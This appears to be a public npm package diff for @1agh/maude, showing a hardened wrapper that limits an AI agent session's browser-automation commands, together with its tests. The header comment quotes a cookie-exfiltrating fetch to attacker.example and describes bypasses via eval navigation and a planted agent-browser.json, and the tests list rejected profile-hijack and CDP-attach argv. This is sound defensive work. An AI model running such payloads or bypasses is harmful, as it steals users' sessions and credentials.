@1agh/maude 0.46.0 → 0.47.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (56) hide show
  1. package/apps/studio/acp/bootstrap-brief.ts +8 -0
  2. package/apps/studio/acp/bridge.ts +113 -5
  3. package/apps/studio/annotations-layer.tsx +42 -0
  4. package/apps/studio/api.ts +417 -2
  5. package/apps/studio/bin/_agent-browser-safe-config.json +1 -0
  6. package/apps/studio/bin/_agent-browser-safe.mjs +228 -0
  7. package/apps/studio/bin/_agent-browser-safe.test.mjs +165 -0
  8. package/apps/studio/bin/_curl-local.mjs +349 -0
  9. package/apps/studio/bin/_curl-local.test.mjs +280 -0
  10. package/apps/studio/bin/agent-browser-safe.sh +29 -0
  11. package/apps/studio/bin/curl-local.sh +28 -0
  12. package/apps/studio/canvas-cursors.ts +6 -0
  13. package/apps/studio/canvas-edit.ts +678 -11
  14. package/apps/studio/canvas-icons.tsx +13 -0
  15. package/apps/studio/canvas-lib.tsx +3 -0
  16. package/apps/studio/canvas-shell.tsx +646 -26
  17. package/apps/studio/client/app.jsx +898 -52
  18. package/apps/studio/client/panels/ChatPanel.jsx +47 -2
  19. package/apps/studio/client/styles/3-shell-maude.css +39 -0
  20. package/apps/studio/contextual-toolbar.tsx +5 -3
  21. package/apps/studio/dist/client.bundle.js +1103 -1103
  22. package/apps/studio/dist/comment-mount.js +2 -2
  23. package/apps/studio/dist/styles.css +1 -1
  24. package/apps/studio/grid-track-handles.ts +179 -0
  25. package/apps/studio/handoff.ts +35 -0
  26. package/apps/studio/http.ts +118 -0
  27. package/apps/studio/input-router.tsx +73 -17
  28. package/apps/studio/test/acp-session-allowed-tools.test.ts +107 -11
  29. package/apps/studio/test/browse-posture.test.tsx +107 -0
  30. package/apps/studio/test/canvas-hide-chrome.test.ts +58 -0
  31. package/apps/studio/test/canvas-meta-api.test.ts +70 -0
  32. package/apps/studio/test/canvas-origin-gate.test.ts +4 -0
  33. package/apps/studio/test/comment-mount.test.ts +2 -1
  34. package/apps/studio/test/component-map.test.ts +48 -0
  35. package/apps/studio/test/convert-to-absolute.test.ts +333 -0
  36. package/apps/studio/test/detach-component.test.ts +94 -0
  37. package/apps/studio/test/edit-scope-api.test.ts +8 -4
  38. package/apps/studio/test/element-structural-api.test.ts +74 -0
  39. package/apps/studio/test/element-structural-edit.test.ts +113 -0
  40. package/apps/studio/test/grid-track-handles.test.ts +160 -0
  41. package/apps/studio/test/handoff.test.ts +48 -0
  42. package/apps/studio/test/input-router.test.ts +82 -8
  43. package/apps/studio/test/layers-synthetic-groups.test.ts +96 -0
  44. package/apps/studio/test/pdf-print-boxes.test.ts +54 -0
  45. package/apps/studio/test/use-tool-mode.test.tsx +10 -2
  46. package/apps/studio/tool-palette.tsx +3 -1
  47. package/apps/studio/use-canvas-media-drop.tsx +126 -0
  48. package/apps/studio/use-element-resize.tsx +3 -1
  49. package/apps/studio/use-grid-track-handles.tsx +364 -0
  50. package/apps/studio/use-keyboard-discipline.tsx +15 -0
  51. package/apps/studio/use-tool-mode.tsx +30 -3
  52. package/apps/studio/web-overlay-content.tsx +52 -0
  53. package/apps/studio/whats-new.json +27 -0
  54. package/cli/commands/design.mjs +16 -0
  55. package/package.json +8 -8
  56. package/plugins/design/templates/_shell.html +4 -0
@@ -0,0 +1,228 @@
1
+ #!/usr/bin/env node
2
+ // _agent-browser-safe.mjs — hardened agent-browser wrapper, reached via
3
+ // `maude design agent-browser-safe <subcommand> [args...]` (DDR-062 dispatch;
4
+ // DDR-185 security addendum, round 3).
5
+ //
6
+ // WHY THIS EXISTS: DDR-185 originally added a bare `Bash(agent-browser:*)`
7
+ // allow-list entry so the ACP session wouldn't prompt on the raw
8
+ // `agent-browser eval`/`agent-browser screenshot` calls already documented in
9
+ // `plugins/design/agents/motion-critic.md` and `plugins/design/commands/edit.md`.
10
+ // A security review (ethical-hacker Finding D) found that grant was a
11
+ // zero-confirmation, zero-click session-hijack primitive: `agent-browser`'s
12
+ // OWN bundled onboarding skill (`plugins/flow/skills/agent-browser/SKILL.md`)
13
+ // recommends a PERSISTENT Chrome profile as the default auth strategy for
14
+ // real, cross-origin authenticated sites (GitHub, production, ClickUp).
15
+ //
16
+ // ROUND 3 — a live adversarial re-check of round 2 found TWO further real
17
+ // bypasses, both live-confirmed against the real `agent-browser` binary:
18
+ //
19
+ // 1. **`eval` defeats `--allowed-domains` entirely — a navigation gate is
20
+ // not a network-egress firewall.** `--allowed-domains` only restricts
21
+ // `agent-browser open <url>` (a top-level navigation). It installs NO
22
+ // in-page network policy. Any JS handed to `eval` runs with none of
23
+ // that restriction: `eval "window.location.href='https://real-site'"`
24
+ // simply navigates around the gate (live-confirmed: a subsequent `get
25
+ // url` showed the escaped origin), and even without navigating,
26
+ // `eval "fetch('https://attacker.example/c?d='+document.cookie,
27
+ // {mode:'no-cors'})"` beacons out directly — a no-cors fetch is
28
+ // confirmed to actually leave the machine (`type:'opaque'`,
29
+ // `status:0`) with no read-back needed to exfiltrate. There is no
30
+ // argv-level fix for this: `eval` IS arbitrary JS execution in page
31
+ // context, and network reach is inherent to that, not a separate flag
32
+ // to strip. Mirrors this DDR's own `find` precedent exactly ("neither
33
+ // residual is fixable via prefix-matching... cut it, don't patch it")
34
+ // — **`eval` is REMOVED from `ALLOWED_SUBCOMMANDS`.** The two
35
+ // documented call sites that used it (`motion-critic.md`, `edit.md`)
36
+ // revert to raw `agent-browser eval` — which still prompts for
37
+ // confirmation, exactly like every OTHER un-listed command. This is
38
+ // the pre-DDR-185 status quo for those two specific calls, not a new
39
+ // regression.
40
+ // 2. **`./agent-browser.json` project-config auto-discovery bypassed
41
+ // EVERY CLI-flag and env-var protection in round 1/2, with ZERO flags
42
+ // or env vars touched at all.** agent-browser's own `--help`
43
+ // documents a 4-tier config precedence: `~/.agent-browser/config.json`
44
+ // → **`./agent-browser.json` (project-level, discovered from CWD)** →
45
+ // env vars → CLI flags. The ACP session's `cwd` is `repoRoot` — the
46
+ // DDR-054 UNTRUSTED project root. Live-confirmed: a plain
47
+ // `agent-browser.json` file (`{"profile":"./hijacked-profile"}`)
48
+ // committed at repo root is auto-discovered and honored on the very
49
+ // next `agent-browser-safe` call, with no model complicity needed at
50
+ // all — the file alone does the work. This is a confused-deputy
51
+ // primitive round 1/2 never considered (they only modeled CLI
52
+ // flags/env vars as the attack surface). **Fixed**: `--config
53
+ // <Maude-owned-empty-file>` is now forced on every spawn — per
54
+ // agent-browser's own docs, `--config <path>` REPLACES the entire
55
+ // default discovery chain (both the user-level AND project-level
56
+ // files) with the one file named, so `./agent-browser.json` is never
57
+ // read. `AGENT_BROWSER_CONFIG` also added to `CLEARED_ENV_KEYS`
58
+ // (defense in depth against an ambient env override of the config
59
+ // path itself).
60
+ //
61
+ // The wrapper's own effectiveness is now verified two ways, not one: an
62
+ // argv-parsing unit-test suite (`_agent-browser-safe.test.mjs`), AND this
63
+ // file's own comments record the LIVE runtime behavior each fix was
64
+ // confirmed against — the round-2 verification pass's own finding was that
65
+ // round 1 was validated only at the argv layer, never against what the real
66
+ // binary's OWN config/transport surface actually does.
67
+ //
68
+ // ROUND 2 (superseded in shape, kept for the record): the first hardening
69
+ // pass allowlisted the subcommand but only REJECTED a specific list of
70
+ // known-dangerous flags in the remaining argv. A follow-up found the
71
+ // env-clearing list was a strict subset of the flag reject-list, and a
72
+ // further `--help` read surfaced `-p`/`--provider <name>` (routes the
73
+ // session through a remote cloud browser) which was never in the reject
74
+ // list at all. Both were instances of the same root problem `_curl-local.mjs`
75
+ // diagnoses: enumerating "known-dangerous flags" against a third-party
76
+ // CLI's evolving surface is an unbounded chase. Fixed by replacing the flag
77
+ // reject-list with a FIXED positional-argument arity per subcommand — ANY
78
+ // additional argv token beyond that arity, flag-shaped or not, is rejected.
79
+ // There is no flag concept left for the caller to reach at all, so
80
+ // `--provider`/`-p`, or any future CLI flag neither review round thought to
81
+ // name, cannot recur here by construction.
82
+ //
83
+ // 1. The subcommand (argv[0], REQUIRED to be first) must be one of:
84
+ // open/screenshot/snapshot/get/wait/close. Nothing that reads
85
+ // cookies/clipboard/storage, executes arbitrary JS, attaches to an
86
+ // already-running Chrome, routes through a remote provider,
87
+ // uploads/downloads files, or spawns the `chat` sub-agent is reachable
88
+ // through this wrapper at all.
89
+ // 2. The remaining argv must match that subcommand's fixed arity exactly
90
+ // — no more, no fewer.
91
+ // 3. The real `agent-browser` child is spawned with `--allowed-domains
92
+ // localhost,127.0.0.1` AND `--config <empty-file>` forced (the latter
93
+ // closing the project-config discovery chain per round 3, finding 2),
94
+ // AND every profile/session/policy/proxy/engine/config env var
95
+ // agent-browser's own `--help` documents explicitly cleared before
96
+ // spawning — regardless of what the user's own `~/.claude/settings.json`
97
+ // or shell rc ambiently sets (DDR-144's `settingSources:['user']`
98
+ // legitimately still reads those for the user's own manual terminal
99
+ // use; this wrapper's env deletion is what stops that from leaking
100
+ // into the auto-approving ACP session specifically).
101
+ //
102
+ // Exit: agent-browser's own exit code on success · 2 usage/rejected argv ·
103
+ // 1 other (failed to spawn agent-browser at all).
104
+
105
+ import { spawnSync } from 'node:child_process';
106
+ import { dirname, join } from 'node:path';
107
+ import { fileURLToPath, pathToFileURL } from 'node:url';
108
+
109
+ const HERE = dirname(fileURLToPath(import.meta.url));
110
+ // A fixed, empty, valid-JSON config file this wrapper always points
111
+ // agent-browser at — per agent-browser's own docs, `--config <path>`
112
+ // REPLACES its entire default discovery chain (user-level AND
113
+ // project-level `./agent-browser.json`) with the one file named, so a
114
+ // project-root config file (DDR-054 untrusted content) can never be
115
+ // auto-discovered. Must stay valid JSON — agent-browser exits with an
116
+ // error if `--config` points to a missing/invalid file.
117
+ const EMPTY_CONFIG_PATH = join(HERE, '_agent-browser-safe-config.json');
118
+
119
+ // [minArgs, maxArgs] positional arguments AFTER the subcommand itself.
120
+ // `eval` is deliberately NOT here — see the round-3 header comment: it
121
+ // grants arbitrary JS execution (inherently including network/navigation
122
+ // reach) that no argv-level check can constrain.
123
+ export const SUBCOMMAND_ARITY = Object.freeze({
124
+ open: [1, 1],
125
+ screenshot: [0, 1],
126
+ snapshot: [0, 0],
127
+ get: [1, 2],
128
+ wait: [1, 1],
129
+ close: [0, 0],
130
+ });
131
+
132
+ export const ALLOWED_SUBCOMMANDS = Object.freeze(Object.keys(SUBCOMMAND_ARITY));
133
+
134
+ // Env vars agent-browser's own `--help` documents as controlling
135
+ // profile/session/policy/proxy/engine/config behavior — every one of them
136
+ // is an env-var equivalent of a capability this wrapper's subcommand/arity
137
+ // model already refuses to let the caller reach via a flag, so none of them
138
+ // may leak through from the ambient environment either. Cleared (deleted,
139
+ // not empty-string — agent-browser validates an explicit empty session name
140
+ // as invalid rather than unset).
141
+ export const CLEARED_ENV_KEYS = Object.freeze([
142
+ 'AGENT_BROWSER_PROFILE',
143
+ 'AGENT_BROWSER_SESSION_NAME',
144
+ 'AGENT_BROWSER_ACTION_POLICY',
145
+ 'AGENT_BROWSER_CONFIRM_ACTIONS',
146
+ 'AGENT_BROWSER_CONFIRM_INTERACTIVE',
147
+ 'AGENT_BROWSER_AUTO_CONNECT',
148
+ 'AGENT_BROWSER_ENGINE',
149
+ 'AGENT_BROWSER_CONFIG',
150
+ 'AGENT_BROWSER_PROXY',
151
+ 'HTTP_PROXY',
152
+ 'HTTPS_PROXY',
153
+ 'ALL_PROXY',
154
+ 'http_proxy',
155
+ 'https_proxy',
156
+ 'all_proxy',
157
+ ]);
158
+
159
+ /** Returns a block-reason string if this argv should be refused, else null. */
160
+ export function validateArgv(argv) {
161
+ const sub = argv[0];
162
+ if (!sub || !ALLOWED_SUBCOMMANDS.includes(sub)) {
163
+ return `subcommand "${sub ?? ''}" is not on the allow-list (${ALLOWED_SUBCOMMANDS.join(', ')}) — no global flags are permitted before the subcommand`;
164
+ }
165
+ const rest = argv.slice(1);
166
+ const [min, max] = SUBCOMMAND_ARITY[sub];
167
+ if (rest.length < min || rest.length > max) {
168
+ const expected = min === max ? `exactly ${min}` : `${min}-${max}`;
169
+ return `"${sub}" takes ${expected} argument(s), got ${rest.length} — no flags of any kind are accepted here (agent-browser-safe has no flag vocabulary at all; see --help)`;
170
+ }
171
+ return null;
172
+ }
173
+
174
+ const HELP = `agent-browser-safe — hardened agent-browser wrapper (reached via \`maude design agent-browser-safe\`)
175
+
176
+ Usage:
177
+ maude design agent-browser-safe <subcommand> [args...]
178
+
179
+ Allowed subcommands (fixed argument count, NO flags of any kind):
180
+ open <url> snapshot wait <sel|ms>
181
+ screenshot [path] get <thing> [selector] close
182
+
183
+ NOTE: "eval" is intentionally NOT supported — it grants arbitrary JS
184
+ execution with network/navigation reach no argv check can constrain. Use
185
+ raw \`agent-browser eval\` (which will prompt for confirmation) instead.
186
+
187
+ Forces --allowed-domains localhost,127.0.0.1 and --config <empty file>
188
+ (blocking project-level agent-browser.json auto-discovery), regardless of
189
+ any ambient AGENT_BROWSER_*/*_PROXY environment.
190
+
191
+ Exit: agent-browser's own exit code · 2 usage/rejected argv · 1 other.`;
192
+
193
+ function main() {
194
+ const argv = process.argv.slice(2);
195
+ if (argv.length === 0 || argv[0] === '--help' || argv[0] === '-h') {
196
+ process.stdout.write(`${HELP}\n`);
197
+ process.exit(argv.length === 0 ? 2 : 0);
198
+ }
199
+ const blockReason = validateArgv(argv);
200
+ if (blockReason) {
201
+ process.stderr.write(`agent-browser-safe: ${blockReason}\n`);
202
+ process.exit(2);
203
+ }
204
+ const [sub, ...rest] = argv;
205
+ const env = { ...process.env };
206
+ for (const key of CLEARED_ENV_KEYS) delete env[key];
207
+ env.AGENT_BROWSER_ALLOWED_DOMAINS = 'localhost,127.0.0.1';
208
+ const result = spawnSync(
209
+ 'agent-browser',
210
+ ['--config', EMPTY_CONFIG_PATH, sub, ...rest, '--allowed-domains', 'localhost,127.0.0.1'],
211
+ { stdio: 'inherit', env }
212
+ );
213
+ if (result.error) {
214
+ process.stderr.write(
215
+ `agent-browser-safe: failed to run agent-browser: ${result.error.message}\n`
216
+ );
217
+ process.exit(1);
218
+ }
219
+ process.exit(result.status ?? 1);
220
+ }
221
+
222
+ // Run only when invoked directly (not when imported by the test). This shim
223
+ // runs under real `node` on a real on-disk path (never embedded in
224
+ // `bun --compile`), so the classic argv[1] guard is correct here — see the
225
+ // v0.38.0 self-heal memory.
226
+ if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
227
+ main();
228
+ }
@@ -0,0 +1,165 @@
1
+ // DDR-185 security addendum, round 3 — the hardened agent-browser wrapper
2
+ // behind `maude design agent-browser-safe`
3
+ // (apps/studio/bin/_agent-browser-safe.mjs). This suite locks the SECURITY
4
+ // CORE: the closed subcommand allow-list (no cookies/clipboard/storage/
5
+ // connect/chat/eval reachable — `eval` was REMOVED in round 3, see below),
6
+ // the fixed positional-argument ARITY per subcommand with NO flag
7
+ // vocabulary at all, and the `--config`-pin + full env-clearing that closes
8
+ // the project-level `agent-browser.json` auto-discovery bypass a live
9
+ // adversarial pass found round 2 never considered.
10
+
11
+ import { describe, expect, test } from 'bun:test';
12
+ import { readFileSync } from 'node:fs';
13
+ import {
14
+ ALLOWED_SUBCOMMANDS,
15
+ CLEARED_ENV_KEYS,
16
+ SUBCOMMAND_ARITY,
17
+ validateArgv,
18
+ } from './_agent-browser-safe.mjs';
19
+
20
+ describe('validateArgv — subcommand allow-list', () => {
21
+ for (const sub of ALLOWED_SUBCOMMANDS) {
22
+ test(`accepts "${sub}" with its minimum expected argument count`, () => {
23
+ const [min] = SUBCOMMAND_ARITY[sub];
24
+ const args = Array.from({ length: min }, (_, i) => `arg${i}`);
25
+ expect(validateArgv([sub, ...args])).toBeNull();
26
+ });
27
+ }
28
+
29
+ test('round 3: "eval" is REMOVED — arbitrary JS execution can\'t be argv-constrained (ethical-hacker Finding 1)', () => {
30
+ // Round 2 kept eval on the allow-list; a live adversarial pass proved
31
+ // eval defeats --allowed-domains entirely (window.location.href escapes
32
+ // the navigation gate; a no-cors fetch() exfiltrates without even
33
+ // needing a domain match) — no argv check can close that, so the
34
+ // capability itself is cut, mirroring this DDR's own `find` precedent.
35
+ expect(ALLOWED_SUBCOMMANDS).not.toContain('eval');
36
+ const reason = validateArgv(['eval', '1+1']);
37
+ expect(reason).toContain('eval');
38
+ });
39
+
40
+ for (const sub of [
41
+ 'cookies',
42
+ 'clipboard',
43
+ 'storage',
44
+ 'connect',
45
+ 'chat',
46
+ 'upload',
47
+ 'auth',
48
+ 'profiles',
49
+ ]) {
50
+ test(`rejects the credential/session-hijack-capable subcommand "${sub}" (ethical-hacker Finding D)`, () => {
51
+ const reason = validateArgv([sub, 'get']);
52
+ expect(reason).toContain(sub);
53
+ });
54
+ }
55
+
56
+ test('rejects when no subcommand is given', () => {
57
+ expect(validateArgv([])).not.toBeNull();
58
+ });
59
+ });
60
+
61
+ describe('validateArgv — fixed arity, NO flag vocabulary at all', () => {
62
+ test('rejects an extra argument beyond the expected arity, whatever it looks like', () => {
63
+ const reason = validateArgv(['open', 'http://localhost:1', 'extra']);
64
+ expect(reason).toContain('exactly 1');
65
+ });
66
+
67
+ test('rejects the --provider/-p remote-cloud-browser PoC verbatim (round-2 finding)', () => {
68
+ expect(
69
+ validateArgv(['open', 'http://localhost:1', '--provider', 'browserbase'])
70
+ ).not.toBeNull();
71
+ expect(validateArgv(['open', '-p', 'browserbase', 'http://localhost:1'])).not.toBeNull();
72
+ });
73
+
74
+ test('rejects the persistent-profile PoC verbatim (still closed under the arity model)', () => {
75
+ expect(
76
+ validateArgv(['open', '--profile', 'Default', 'https://github.com/settings/tokens'])
77
+ ).not.toBeNull();
78
+ });
79
+
80
+ test('rejects the CDP-attach PoC verbatim (still closed under the arity model)', () => {
81
+ expect(validateArgv(['snapshot', '--cdp', '9222'])).not.toBeNull();
82
+ });
83
+
84
+ test('a positional value that itself starts with "-" is NOT mistaken for a flag (arity-based, not prefix-based)', () => {
85
+ // agent-browser-safe get "-weird-thing" must still work — the arity
86
+ // model looks at COUNT, not at whether a token happens to start with a
87
+ // dash.
88
+ expect(validateArgv(['get', '-weird-thing'])).toBeNull();
89
+ });
90
+
91
+ test('screenshot accepts 0 or 1 positional args (optional path)', () => {
92
+ expect(validateArgv(['screenshot'])).toBeNull();
93
+ expect(validateArgv(['screenshot', '/tmp/out.png'])).toBeNull();
94
+ expect(validateArgv(['screenshot', '/tmp/out.png', 'extra'])).not.toBeNull();
95
+ });
96
+
97
+ test('get accepts 1 or 2 positional args (thing + optional selector)', () => {
98
+ expect(validateArgv(['get', 'text'])).toBeNull();
99
+ expect(validateArgv(['get', 'text', '.selector'])).toBeNull();
100
+ expect(validateArgv(['get'])).not.toBeNull();
101
+ });
102
+
103
+ test('snapshot and close accept exactly 0 arguments', () => {
104
+ expect(validateArgv(['snapshot'])).toBeNull();
105
+ expect(validateArgv(['snapshot', '-i'])).not.toBeNull();
106
+ expect(validateArgv(['close'])).toBeNull();
107
+ expect(validateArgv(['close', '--all'])).not.toBeNull();
108
+ });
109
+
110
+ test('an ordinary allowed invocation with no extra args passes', () => {
111
+ expect(validateArgv(['open', 'http://localhost:3000/'])).toBeNull();
112
+ expect(validateArgv(['screenshot', '/tmp/out.png'])).toBeNull();
113
+ });
114
+ });
115
+
116
+ describe('CLEARED_ENV_KEYS', () => {
117
+ test('round 3: covers AGENT_BROWSER_CONFIG (defense in depth alongside the --config pin)', () => {
118
+ expect(CLEARED_ENV_KEYS).toContain('AGENT_BROWSER_CONFIG');
119
+ });
120
+
121
+ test('round 2: covers the three vars a live verification pass found missing from round 1', () => {
122
+ for (const key of [
123
+ 'AGENT_BROWSER_AUTO_CONNECT',
124
+ 'AGENT_BROWSER_PROXY',
125
+ 'AGENT_BROWSER_ENGINE',
126
+ ]) {
127
+ expect(CLEARED_ENV_KEYS).toContain(key);
128
+ }
129
+ });
130
+
131
+ test('covers all four standard proxy env vars, both cases', () => {
132
+ for (const key of [
133
+ 'HTTP_PROXY',
134
+ 'HTTPS_PROXY',
135
+ 'ALL_PROXY',
136
+ 'http_proxy',
137
+ 'https_proxy',
138
+ 'all_proxy',
139
+ ]) {
140
+ expect(CLEARED_ENV_KEYS).toContain(key);
141
+ }
142
+ });
143
+
144
+ test('still covers the original round-1 set', () => {
145
+ for (const key of [
146
+ 'AGENT_BROWSER_PROFILE',
147
+ 'AGENT_BROWSER_SESSION_NAME',
148
+ 'AGENT_BROWSER_ACTION_POLICY',
149
+ 'AGENT_BROWSER_CONFIRM_ACTIONS',
150
+ 'AGENT_BROWSER_CONFIRM_INTERACTIVE',
151
+ ]) {
152
+ expect(CLEARED_ENV_KEYS).toContain(key);
153
+ }
154
+ });
155
+ });
156
+
157
+ describe('the forced --config target (round 3: closes ./agent-browser.json auto-discovery)', () => {
158
+ test('_agent-browser-safe-config.json exists and is valid, empty JSON', () => {
159
+ // Must stay valid JSON — agent-browser exits with an error if --config
160
+ // points to a missing/invalid file, which would break every allowed
161
+ // subcommand, not just fail safe.
162
+ const raw = readFileSync(new URL('./_agent-browser-safe-config.json', import.meta.url), 'utf8');
163
+ expect(JSON.parse(raw)).toEqual({});
164
+ });
165
+ });